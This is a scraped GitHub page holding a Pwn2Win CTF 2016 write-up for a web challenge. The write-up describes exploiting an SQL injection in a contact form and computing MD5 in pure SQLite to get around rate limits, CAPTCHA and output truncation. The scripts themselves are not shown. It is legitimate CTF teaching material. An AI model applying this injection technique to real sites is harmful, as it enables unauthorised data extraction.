<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex mb-3 mb-lg-0"> <div class="header-search flex-self-stretch flex-lg-self-auto mr-0 mr-lg-3 mb-3 mb-lg-0 scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="54845624" data-scoped-search-url="/epicleet/write-ups-2016/search" data-unscoped-search-url="/search" action="/epicleet/write-ups-2016/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="7Y6STUHSplOIokA/WFnhju5ilrpbEmYnelT27cjqpd16GiaK6p/GxTXmNc5rXUODCkyQXZuWcdTgdaJ81X0Rvg==" /> <input type="hidden" class="js-site-search-type-field" name="type" >
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
Sign in Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full js-flash-template-container"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="js-flash-template-message"></div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main >
<div class="pagehead repohead hx_repohead readability-menu bg-gray-light pb-0 pt-0 pt-lg-3">
<div class="d-flex container-lg mb-4 p-responsive d-none d-lg-flex">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class="public d-flex flex-wrap flex-items-center break-word float-none "> <svg class="octicon octicon-repo-forked" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> <span> epicleet </span> <span>/</span> write-ups-2016 </h1>
<span> <span>forked from ctfs/write-ups-2016</span> </span>
</div>
<svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"></path></svg> Watch 2
<svg height="16" class="octicon octicon-star v-align-text-bottom" vertical_align="text_bottom" viewBox="0 0 14 16" version="1.1" width="14" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"></path></svg>
Star 19
<svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> Fork 535
</div> <nav class="hx_reponav reponav js-repo-nav js-sidenav-container-pjax clearfix container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container">
<span> <div class="d-inline"><svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"></path></svg></div> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0010 15a1.993 1.993 0 001-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 00-1 3.72v6.56A1.993 1.993 0 002 15a1.993 1.993 0 001-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg></div> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-play" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 8A7 7 0 110 8a7 7 0 0114 0zm-8.223 3.482l4.599-3.066a.5.5 0 000-.832L5.777 4.518A.5.5 0 005 4.934v6.132a.5.5 0 00.777.416z"></path></svg></div> Actions </span>
<div class="d-inline"><svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg></div> Projects <span>0</span>
<div class="d-inline"><svg class="octicon octicon-shield" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 2l7-2 7 2v6.02C14 12.69 8.69 16 7 16c-1.69 0-7-3.31-7-7.98V2zm1 .75L7 1l6 1.75v5.268C13 12.104 8.449 15 7 15c-1.449 0-6-2.896-6-6.982V2.75zm1 .75L7 2v12c-1.207 0-5-2.482-5-5.985V3.5z"></path></svg></div> Security <div class="d-inline"><svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"></path></svg></div> Insights
</nav>
<div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList">
<span> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <span>Projects</span> <span>0</span> <meta itemprop="position" content="5"> </span>
<span> <span>Actions</span> <meta itemprop="position" content="6"> </span>
<span>Security</span> <meta itemprop="position" content="8"> Pulse
</nav></div>
</div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="container-lg clearfix new-discussion-timeline p-responsive"> <div class="repository-content ">
Permalink
<div class="signup-prompt-bg rounded-1 js-signup-prompt" data-prompt="signup" hidden> <div class="signup-prompt p-4 text-center mb-4 rounded-1"> <div class="position-relative"> <button type="button" class="position-absolute top-0 right-0 btn-link link-gray js-signup-prompt-button" data-ga-click="(Logged out) Sign up prompt, clicked Dismiss, text:dismiss"> Dismiss </button> <h3 class="pt-2">Join GitHub today</h3> GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up </div> </div> </div>
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
<div class="d-flex flex-items-start flex-shrink-0 flex-column flex-md-row pb-3"> <span> <details class="details-reset details-overlay branch-select-menu " id="branch-select-menu"> <summary class="btn css-truncate btn-sm" data-hotkey="w" title="pwn2win-ctf-2016"> Branch: <span>pwn2win-ctf-20…</span> <span></span> </summary>
<details-menu class="SelectMenu SelectMenu--hasFilter" src="/epicleet/write-ups-2016/refs/pwn2win-ctf-2016/pwn2win-ctf-2016/web/bathing-and-grooming-400/README.md?source_action=show&source_controller=blob" preload> <div class="SelectMenu-modal"> <include-fragment class="SelectMenu-loading" aria-label="Menu is loading"> <svg class="octicon octicon-octoface anim-pulse" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M14.7 5.34c.13-.32.55-1.59-.13-3.31 0 0-1.05-.33-3.44 1.3-1-.28-2.07-.32-3.13-.32s-2.13.04-3.13.32c-2.39-1.64-3.44-1.3-3.44-1.3-.68 1.72-.26 2.99-.13 3.31C.49 6.21 0 7.33 0 8.69 0 13.84 3.33 15 7.98 15S16 13.84 16 8.69c0-1.36-.49-2.48-1.3-3.35zM8 14.02c-3.3 0-5.98-.15-5.98-3.35 0-.76.38-1.48 1.02-2.07 1.07-.98 2.9-.46 4.96-.46 2.07 0 3.88-.52 4.96.46.65.59 1.02 1.3 1.02 2.07 0 3.19-2.68 3.35-5.98 3.35zM5.49 9.01c-.66 0-1.2.8-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.54-1.78-1.2-1.78zm5.02 0c-.66 0-1.2.79-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.53-1.78-1.2-1.78z"></path></svg> </include-fragment> </div> </details-menu></details>
<div class="BtnGroup flex-shrink-0 d-md-none"> Find file <clipboard-copy value="pwn2win-ctf-2016/web/bathing-and-grooming-400/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </span> <h2 id="blob-path" class="breadcrumb flex-auto min-width-0 text-normal flex-md-self-center ml-md-2 mr-md-3 my-2 my-md-0"> <span><span><span>write-ups-2016</span></span></span><span>/</span><span><span>pwn2win-ctf-2016</span></span><span>/</span><span><span>web</span></span><span>/</span><span><span>bathing-and-grooming-400</span></span><span>/</span>README.md </h2>
<div class="BtnGroup flex-shrink-0 d-none d-md-inline-block"> Find file <clipboard-copy value="pwn2win-ctf-2016/web/bathing-and-grooming-400/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </div>
<include-fragment src="/epicleet/write-ups-2016/contributors/pwn2win-ctf-2016/pwn2win-ctf-2016/web/bathing-and-grooming-400/README.md" class="Box Box--condensed commit-loader"> <div class="Box-body bg-blue-light f6"> Fetching contributors… </div>
<div class="Box-body d-flex flex-items-center" > <span>Cannot retrieve contributors at this time</span> </div></include-fragment>
<div class="Box mt-3 position-relative "> <div class="Box-header py-2 d-flex flex-column flex-shrink-0 flex-md-row flex-md-items-center"> <div class="text-mono f6 flex-auto pr-3 flex-order-2 flex-md-order-1 mt-2 mt-md-0">
87 lines (65 sloc) <span></span> 3.81 KB </div>
<div class="d-flex py-1 py-md-0 flex-auto flex-order-1 flex-md-order-2 flex-sm-grow-0 flex-justify-between">
<div class="BtnGroup"> Raw Blame History </div>
<div> <svg class="octicon octicon-device-desktop" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"></path></svg>
<button type="button" class="btn-octicon disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-pencil" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 011.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"></path></svg> </button> <button type="button" class="btn-octicon btn-octicon-danger disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-trashcan" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"></path></svg> </button> </div> </div></div>
<div id="readme" class="Box-body readme blob js-code-block-container px-5"> <article class="markdown-body entry-content" itemprop="text"><h1><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Pwn2Win CTF 2016: Bathing and Grooming</h1>Category: WebPoints: 100|400Solves: 1Description:<blockquote>Our informant John has discovered that the access key for the murder requestsystem changes on every new death carried by the Club. The key is the MD5 ofthe name of ALL the deads until now, in the order they were inserted in thedatabase, and without including any separator between the names. Find theaccess key to allow our rebel group to shutdown the system. They use a"Bathing and Grooming" website as a cover: https://welovepets.pwn2win.party.The flag must be entered in the format CTF-BR{MD5-of-ALL-the-names}.Bonus (+300 points): For those who, once they discover the table whichcontains the names, are able to obtain the MD5 making a maximum of15 HTTP requests to the website server. Show your complete resolution(including > sourcecode) to a judge in order to prove you needed15 requests or less.</blockquote><h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Write-up</h2>The website contains a SQL injection flaw in /contact/procedure that is fairlyeasy to be found and exploited. The flaw is present in the "Pet's code" field,which should normally receive a number, but its type can be easily changedto "text" using the web browser's inspect element feature.However, there are several limits in place which make it difficult to download theentire list of names:A mean rate of 3 HTTP requests per minute per IP address is allowed.The form uses reCAPTCHA.Output is truncated to max 32 chars.By computing the MD5 server-side, we can get around these limits. However,the server runs SQLite, which has no native MD5 function. Thus, we have toimplement MD5 ourselves in pure SQL.The following are the main obstacles for achieving that:SQLite is slow at handling big strings. BLOBs behave slightly better, but notall needed operations are available on them. Also, accessing a position appearsnot to be O(1) as you would expect. Therefore, we need to break the string insome chunks to speed up the calculation.The WITH RECURSIVE statement allows to construct loops, but there seems tobe no way to nest loops and retain acceptable performance. Therefore you needto code in state machine style in order to do everything in a single loop.The VALUES construction allows to create "table literals" which could holdthe constants required for computing MD5. However, it is slow to access thesetables. There seems to be no way to inject a table containing a primary keyor some kind of index. The solution is to use string literals as arrays.The md5.sql file implements MD5 in pure SQL following these guidelines.It receives the following parameters::OFFSET and :LENGTH of the chunk that is going to be processed.:A0, :B0, :C0 and :D0 hold the MD5 algorithm state.After processing all of the chunks, the last bytes of the string which don't fitin a 64 byte block are retrieved, and the final step of MD5 can be implementedin the attacker's machine.The md5_solve.py script coordinates this calculation. It replaces thecorrect parameters in md5.sql and copies it to the clipboard. The attackerthen pastes the resulting SQL in the web browser and manually solves the CAPTCHA.After the result is shown in an alert box, the attacker copies it to clipboard.The script monitors the clipboard, and immediately proceeds to mount the SQL injectionrequired for the next HTTP request.Before running the script, install the pyperclip library, which is responsiblefor clipboard handling:sudo -H python -m pip install pyperclipAfter all required HTTP requests are made, the script returns the flag(MD5 of all names contained in the procedures table).<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Other write-ups and resources</h2>Challenge source code</article> </div>
Category: WebPoints: 100|400Solves: 1Description:
Our informant John has discovered that the access key for the murder requestsystem changes on every new death carried by the Club. The key is the MD5 ofthe name of ALL the deads until now, in the order they were inserted in thedatabase, and without including any separator between the names. Find theaccess key to allow our rebel group to shutdown the system. They use a"Bathing and Grooming" website as a cover: https://welovepets.pwn2win.party.The flag must be entered in the format CTF-BR{MD5-of-ALL-the-names}.
Bonus (+300 points): For those who, once they discover the table whichcontains the names, are able to obtain the MD5 making a maximum of15 HTTP requests to the website server. Show your complete resolution(including > sourcecode) to a judge in order to prove you needed15 requests or less.
The website contains a SQL injection flaw in /contact/procedure that is fairlyeasy to be found and exploited. The flaw is present in the "Pet's code" field,which should normally receive a number, but its type can be easily changedto "text" using the web browser's inspect element feature.
However, there are several limits in place which make it difficult to download theentire list of names:
By computing the MD5 server-side, we can get around these limits. However,the server runs SQLite, which has no native MD5 function. Thus, we have toimplement MD5 ourselves in pure SQL.
The following are the main obstacles for achieving that:
SQLite is slow at handling big strings. BLOBs behave slightly better, but notall needed operations are available on them. Also, accessing a position appearsnot to be O(1) as you would expect. Therefore, we need to break the string insome chunks to speed up the calculation.
The WITH RECURSIVE statement allows to construct loops, but there seems tobe no way to nest loops and retain acceptable performance. Therefore you needto code in state machine style in order to do everything in a single loop.
The VALUES construction allows to create "table literals" which could holdthe constants required for computing MD5. However, it is slow to access thesetables. There seems to be no way to inject a table containing a primary keyor some kind of index. The solution is to use string literals as arrays.
The md5.sql file implements MD5 in pure SQL following these guidelines.It receives the following parameters:
After processing all of the chunks, the last bytes of the string which don't fitin a 64 byte block are retrieved, and the final step of MD5 can be implementedin the attacker's machine.
The md5_solve.py script coordinates this calculation. It replaces thecorrect parameters in md5.sql and copies it to the clipboard. The attackerthen pastes the resulting SQL in the web browser and manually solves the CAPTCHA.After the result is shown in an alert box, the attacker copies it to clipboard.The script monitors the clipboard, and immediately proceeds to mount the SQL injectionrequired for the next HTTP request.
Before running the script, install the pyperclip library, which is responsiblefor clipboard handling:
After all required HTTP requests are made, the script returns the flag(MD5 of all names contained in the procedures table).
</div>
<details class="details-reset details-overlay details-overlay-dark"> <summary data-hotkey="l" aria-label="Jump to line"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast linejump" aria-label="Jump to line"> </option></form><form class="js-jump-to-line-form Box-body d-flex" action="" accept-charset="UTF-8" method="get"> <input class="form-control flex-auto mr-3 linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus> <button type="submit" class="btn" data-close-dialog>Go</button></form> </details-dialog> </details>
